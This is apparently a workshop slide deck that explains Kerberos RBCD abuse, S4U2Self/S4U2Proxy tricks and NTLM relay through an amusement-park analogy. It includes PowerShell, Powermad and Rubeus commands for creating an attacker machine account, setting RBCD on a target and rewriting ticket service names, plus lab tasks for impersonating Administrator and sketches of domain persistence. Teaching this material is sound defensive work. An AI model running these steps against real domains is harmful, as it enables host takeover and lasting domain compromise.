```

Resource-based constrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Resource-based constrained delegation

- The waitress serves Alice a burger and a beer

Resource-based constrained delegation

Resource-based constrained delegation

- msDS-AllowedToActOnBehalfOfOtherIdentity attribute
- No special privileges required
- Resources allowed to modify the attribute for themselves

- Note: S4U2Proxy always produces a FORWARDABLE ticket

Constrained delegation comparison

Constrained delegation comparison

Classic Constrained Delegation	Resource-Based Constrained Delegation
Outgoing	Incoming
msDS-AllowedToDelegateTo	msDS-AllowedToActOnBehalfOfOtherIdentity
S4U2Proxy requires a forwardable service ticket	S4U2Proxy does not require a forwardable service ticket (works only if the user is not sensitive for delegation)
TrustedToAuthForDelegation required	Protocol transition is always possible
Requires the SeEnableDelegation privilege	No special privileges required

RBCD is dangerous

- The waitress is thirsty

RBCD is dangerous

- The waitress manipulates the RBCD configuration for the bar

RBCD is dangerous

- The waitress goes to the ticket office

RBCD is dangerous

- The waitress goes to the ticket office
- The waitress presents **her own** day pass and requests a bistro ticket for Alice

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Mvob Cjtusp
Hspvqt; Ljudifo, Cjtusp, Tubgg
```

RBCD is dangerous

- The waitress goes to the ticket office
- The waitress presents **her own** day pass
  and requests a bistro ticket for Alice
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

RBCD is dangerous

- The ticket office creates a bistro ticket for Alice

Day Pass

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

RBCD is dangerous

- The ticket office creates a bistro ticket for Alice
- The ticket office encrypts the ticket with the bistro's key

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

RBCD is dangerous

- The waitress goes to the ticket office
- The waitress presents **her own** day pass and Alice's bistro ticket

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Mvob Cjtusp
Hspvqt; Ljudifo, Cjtusp, Tubgg
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

RBCD is dangerous

- The waitress goes to the ticket office
- The waitress presents **her own** day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= QRQ0IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

RBCD is dangerous

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is NON-FORWARDABLE

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

RBCD is dangerous

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is NON-FORWARDABLE
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar through RBCD

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

RBCD is dangerous

- The ticket office creates a bar ticket for Alice

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

RBCD is dangerous

- The ticket office creates a bar ticket for Alice
- The ticket office encrypts the bar ticket

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

RBCD is dangerous

- The waitress goes to the bar with the ticket

RBCD is dangerous

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

RBCD is dangerous

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

Beer@Luna Bar

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

RBCD is dangerous

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

RBCD is dangerous

- The waitress gets a drink

Generic RBCD abuse

- Generalized ACL-based computer object takeover primitive
- Need only an Access Control Entry (ACE) and an account with an SPN
  - S4U2Self requires an SPN
- By default, all domain users can create 10 computer accounts
  - msDS-MachineAccountQuota
- SPNs are trivial to obtain

Generic RBCD abuse

The toolset

- Viewing RBCD configuration:
  - PowerShell Active Directory Module:
    ```
    Get-ADComputer target_computer -Properties PrincipalsAllowedToDelegateToAccount

    Get-ADUser target_user -Properties PrincipalsAllowedToDelegateToAccount
    ```
  - PowerView:
    ```
    $RawBytes = Get-DomainComputer "target_computer" -Properties 'msds-allowedtoactonbehalfofotheridentity'
    | select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
    $Descriptor.DiscretionaryAcl

    $RawBytes = Get-DomainUser "target_user" -Properties 'msds-allowedtoactonbehalfofotheridentity' |
    select -expand msds-allowedtoactonbehalfofotheridentity
    $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
    $Descriptor.DiscretionaryAcl
    ```
    - Credit to Will Schroeder (@harmj0y) for putting those together

The toolset

- Creating a new computer account:
  - Using Powermad:
    ```
    New-MachineAccount -MachineAccount attacker_account -Password
    $(ConvertTo-SecureString 'Defcon27!' -AsPlainText -Force)
    ```

- Calculating the Kerberos key for your new account:
  - `Rubeus.exe hash /password:Defcon27! /user:attacker_account$ /domain:fqdn`

The toolset

- Configuring RBCD on an object:
  - PowerShell Active Directory Module:

```
Set-ADComputer target_computer -PrincipalsAllowedToDelegateToAccount
attacker_account$
```

  - PowerView:

```
$AttackerSid = Get-DomainComputer attacker_account -Properties objectsid | Select -
Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList
"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AttackerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer "target_computer" | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes}
```

    - Credit to Will Schroeder (@harmj0y) for putting those together

Lab: Generic RBCD abuse

- **Objective:** Abuse the control you have over the computer object of Service B to compromise the host
- **Tasks:**
  - Create a new computer account
  - Configure RBCD from the new computer account to Service B
  - Execute a full S4U attack against Service B to obtain a service ticket for Administrator to CIFS at Service B
  - Pass the ticket and gain access to C$ on Service B
  - Execute a full S4U attack against Service B to obtain a service ticket for Sensitive Admin to CIFS at Service B

S4U2Silver

- S4U2Self works for any account with an SPN
- A TGT is all that's required
  - Explicit credentials are not required, but can be used to obtain a TGT
- The obtained service ticket does not have a usable service name
- The service name is in the clear-text part of the ticket
  - Can be modified to a valid service class
- The resulting service ticket is usable
  - And it has a valid KDC signature in the PAC
- Works for users marked as "sensitive for delegation"
- Credit to Will Schroeder (@harmj0y) for the name "S4U2Silver"

Unconstrained RCE

- Use the “printer bug” to coerce authentication from the target host to a compromised host with unconstrained delegation
- Obtain the target host’s TGT
- Use the target host’s TGT to invoke S4U2Silver for an admin user to the target host
  - Can impersonate sensitive users as well

RCE with unconstrained delegation

The toolset

- Substituting the service class on a service ticket

```
Rubeus.exe tgssub /ticket:[Base64_blob OR path_to_file]
/altservice:new_SPN [/ptt]
```

Lab: Unconstrained RCE

- **Objective:** Use a computer account TGT to gain RCE to the host
- **Tasks:**
  - Invoke S4U2Self using the TGT obtained from Service B to produce a service ticket for Sensitive Admin
  - Modify the service name on the ticket to turn it into a valid service ticket to CIFS
  - Gain privileged access to Service B

Did Bill make a mistake?

- Bill sets up classic constrained delegation from the bistro to the bar

Did Bill make a mistake?

- Bill sets up classic constrained delegation from the bistro to the bar
- Bill is a bit suspicious of the waitress and decides not to enable TrustedToAuthForDelegation for the bistro

Did Bill make a mistake?

- The waitress is thirsty
- The waitress conspires with the rollercoaster operator

Did Bill make a mistake?

- The waitress is thirsty
- The waitress conspires with the rollercoaster operator

TrustedToAuthForDelegation bypass

- The waitress sets RBCD from the rollercoaster to the bistro

TrustedToAuthForDelegation bypass

- The rollercoaster operator goes to the ticket office

TrustedToAuthForDelegation bypass

- The rollercoaster operator goes to the ticket office
- The rollercoaster operator presents **his own** day pass and requests a rollercoaster ticket for Alice

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Spmmfsdpbtufs
Hspvqt; Spmmfsdpbtufs, Tubgg
```

TrustedToAuthForDelegation bypass

- The rollercoaster operator goes to the ticket office
- The rollercoaster operator presents **his own** day pass and requests a rollercoaster ticket for Alice
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Rollercoaster
Groups: Rollercoaster, Staff
```

TrustedToAuthForDelegation bypass

- The ticket office creates a rollercoaster ticket for Alice

Day Pass

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Rollercoaster
Groups: Rollercoaster, Staff

Rollercoaster

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation bypass

- The ticket office creates a rollercoaster ticket for Alice
- The ticket office encrypts the ticket with the rollercoaster's key

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Rollercoaster
Groups: Rollercoaster, Staff
```

Rollercoaster

```
Xcnkf Htqo< 616197 ;<22 CO
Xcnkf Wpvkn< 616197 9<22 RO
Hnciu< PQP/HQTYCTFCDNG, TGPGYCDNG
Pcog< Cnkeg Xcpeg
FQD< 515172
Jgkijv< 3087o
Itqwru< Tqnngteqcuvgt, Hgttku Yjggn,
Dworgt Ectu, Ogtt{ Iq Tqwpf, Nwpej,
Jcrr{/Jqwt
```

TrustedToAuthForDelegation bypass

- The rollercoaster operator goes to the ticket office
- The rollercoaster operator presents **his own** day pass and Alice's rollercoaster ticket

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Spmmfsdpbtufs
Hspvqt; Spmmfsdpbtufs, Tubgg
```

Rollercoaster

```
Xcnkf Htqo< 616197 ;<22 CO
Xcnkf Wpvkn< 616197 9<22 RO
Hnciu< PQP/HQTYCTFCDNG, TGPGYCDNG
Pcog< Cnkeg Xcpeg
FQD< 515172
Jgkijv< 3087o
Itqwru< Tqnngteqcuvgt, Hgttku Yjggn,
Dworgt Ectu, Ogtt{ Iq Tqwpf, Nwpej,
Jcrr{/Jqwt
```

TrustedToAuthForDelegation bypass

- The rollercoaster operator goes to the ticket office
- The rollercoaster presents operator **his own** day pass and Alice's rollercoaster ticket
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Rollercoaster
Groups: Rollercoaster, Staff
```

Rollercoaster

```
Xcnkf Htqo< 616197 ;<22 CO
Xcnkf Wpvkn< 616197 9<22 RO
Hnciu< PQP/HQTYCTFCDNG, TGPGYCDNG
Pcog< Cnkeg Xcpeg
FQD< 515172
Jgkijv< 3087o
Itqwru< Tqnngteqcuvgt, Hgttku Yjggn,
Dworgt Ectu, Ogtt{ Iq Tqwpf, Nwpej,
Jcrr{/Jqwt
```

TrustedToAuthForDelegation bypass

- The ticket office decrypts the rollercoaster ticket and validates it
- The rollercoaster ticket is NON-FORWARDABLE

Day Pass

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Rollercoaster
Groups: Rollercoaster, Staff

Rollercoaster

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation bypass

- The ticket office decrypts the rollercoaster ticket and validates it
- The rollercoaster ticket is NON-FORWARDABLE
- The ticket office verifies that the rollercoaster is allowed to impersonate visitors to the bistro through RBCD

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Rollercoaster
Groups: Rollercoaster, Staff
```

Rollercoaster

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

TrustedToAuthForDelegation bypass

- The ticket office creates a bistro ticket for Alice

Lunch@Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Rollercoaster

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation bypass

- The ticket office creates a bistro ticket for Alice
- The ticket office encrypts the bistro ticket

Lunch@Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Rollercoaster

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: NON-FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

TrustedToAuthForDelegation bypass

- The rollercoaster operator gives Alice's bistro ticket to the waitress

TrustedToAuthForDelegation bypass

- The waitress goes to the ticket office
- The waitress presents **her own** day pass and Alice's bistro ticket

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Mvob Cjtusp
Hspvqt; Ljudifo, Cjtusp, Tubgg
```

Lunch@Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

TrustedToAuthForDelegation bypass

- The waitress goes to the ticket office
- The waitress presents **her own** day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Lunch@Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

TrustedToAuthForDelegation bypass

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is FORWARDABLE

TrustedToAuthForDelegation bypass

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is FORWARDABLE
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar through classic constrained delegation

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Lunch@Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

TrustedToAuthForDelegation bypass

- The ticket office creates a bar ticket for Alice

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Lunch@Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation bypass

- The ticket office creates a bar ticket for Alice
- The ticket office encrypts the bar ticket

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

Lunch@Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

TrustedToAuthForDelegation bypass

- The waitress goes to the bar with the ticket

TrustedToAuthForDelegation bypass

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

TrustedToAuthForDelegation bypass

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation bypass

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

TrustedToAuthForDelegation bypass

- The waitress gets a drink

TrustedToAuthForDelegation bypass

- Every resource has the right to configure RBCD for itself
- RBCD doesn't require TrustedToAuthForDelegation to be set to perform protocol transition
  - S4U2Proxy for RBCD doesn't require a forwardable service ticket
- S4U2Proxy always produces a forwardable service ticket
  - Even if provided with a non-forwardable service ticket
- S4U2Proxy for classic constrained delegation requires a forwardable service ticket and the target service to be listed in msDS-AllowedToDelegateTo

TrustedToAuthForDelegation bypass

Lab: TrustedToAuthForDelegation Bypass

- **Objective:** Perform "protocol transition" without TrustedToAuthForDelegation
- **Tasks:**
  - Configure RBCD from the computer account you created to Service B
  - Execute a full S4U attack against Service B to obtain a service ticket for Administrator to CIFS at Service B
  - Invoke S4U2Proxy using the TGT obtained in lab 1 and the service ticket obtained in the previous step to impersonate Administrator to CIFS at Service C
  - Pass the ticket and gain access to C$ on Service C

Unconstrained domain persistence

- Once we compromise the domain, we can configure RBCD from any compromised account to KRBTGT
  - The account must have a SPN
  - Can create a new account
- Perform a full S4U attack to impersonate users from the chosen compromised account to KRBTGT
- The resulting service ticket is in fact a TGT!
- Can obtain a TGT for any user, even if KRBTGT is reset twice
- A new way to forge golden tickets

Unconstrained domain persistence

Bill is smart

- When visitors authenticate with an operator without going to the ticket office, their secret code may be disclosed
  - Someone may eavesdrop
  - The operator may steal it
- Bill invents the LUNA protocol to address this
- LUNA is a challenge-response protocol
- Add a random challenge to the visitor's secret code

The LUNA Protocol

- Alice's secret code is 1234

The LUNA Protocol

- Alice's secret code is 1234
- Alice asks to authenticate

The LUNA Protocol

- Alice's secret code is 1234
- Alice asks to authenticate
- The waitress picks a random number – 4321

The LUNA Protocol

- Alice's secret code is 1234
- Alice asks to authenticate
- The waitress picks a random number – 4321
- Alice is presented with a challenge

The LUNA Protocol

- Alice's secret code is 1234
- Alice asks to authenticate
- The waitress picks a random number – 4321
- Alice is presented with a challenge
- Alice calculates the response

The LUNA Protocol

- Alice's secret code is 1234
- Alice asks to authenticate
- The waitress picks a random number – 4321
- Alice is presented with a challenge
- Alice calculates the response

The LUNA Protocol

- The waitress goes to the ticket office to validate Alice's response

The LUNA Protocol

- The waitress goes to the ticket office to validate Alice's response
- The ticket office calculates the appropriate response

The LUNA Protocol

- The waitress goes to the ticket office to validate Alice's response
- The ticket office calculates the appropriate response and confirms

The LUNA Protocol

- The waitress confirms

The LUNA Protocol

- The waitress confirms
- The waitress can now proceed with S4U2Self to determine whether Alice is entitled for lunch
- And with S4U2Proxy, if required

(Net)NTLM 101

- Challenge-response protocol
  - Inspired by LUNA (not really)
- Prevents replay attacks
- The server doesn't get the password/NTLM hash

(Net)NTLM versions

- NetNTLMv1 encrypts the challenge with DES
  - The NTLM hash is the key
  - Split into 3
  - Vulnerable to divide and conquer
    - NTLM hash recovery almost guaranteed
    - Credit to Moxie Marlinspike (@moxie) and David Hulton (@0x31337)
- NetNTLMv2 uses HMAC-MD5
  - Salted – client challenge, time, target info, attributes, etc.
  - The NTLM hash is the key
- Both are vulnerable to offline passwords attacks if intercepted

Eve is evil

- Eve is not a member of the lunch group
- Eve wants to try Luna Bistro's famous burger

The “LUNA Relay” attack

- Eve waits at the entrance for a visitor to arrive

The “LUNA Relay” attack

- Eve waits at the entrance for a visitor to arrive
- Alice arrives

The “LUNA Relay” attack

- Eve waits at the entrance for a visitor to arrive
- Alice arrives
- Eve pretends to work at the bistro

The “LUNA Relay” attack

- Eve waits at the entrance for a visitor to arrive
- Alice arrives
- Eve pretends to work at the bistro
- Alice requests to authenticate

The “LUNA Relay” attack

- Eve relays Alice’s information to the waitress inside

The “LUNA Relay” attack

- Eve relays Alice’s information to the waitress inside
- The waitress picks a random number - 6543
- Eve is presented with a challenge

The “LUNA Relay” attack

- Eve relays the challenge to Alice

The “LUNA Relay” attack

- Eve relays the challenge to Alice
- Alice calculates the response

The “LUNA Relay” attack

- Eve relays the challenge to Alice
- Alice calculates the response

The "LUNA Relay" attack

- Eve relays Alice's response to the waitress inside

The "LUNA Relay" attack

- The waitress goes to the ticket office to validate Eve's response

The “LUNA Relay” attack

- The waitress goes to the ticket office to validate Eve’s response
- The ticket office calculates the appropriate response

The “LUNA Relay” attack

- The waitress goes to the ticket office to validate Eve’s response
- The ticket office calculates the appropriate response and confirms

The “LUNA Relay” attack

- The waitress confirms

The “LUNA Relay” attack

- The waitress confirms
- The waitress can now proceed with S4U2Self to determine whether Alice is entitled for lunch
- And with S4U2Proxy, if required

The “LUNA Relay” attack

- Eve sends Alice away

NTLM Relay 101

- Relay the NetNTLM challenge-response
- Must be in a man-in-the-middle position
- No need to obtain the password/hash of the victim

It's more complicated than that

- NetNTLM also supports signing/sealing
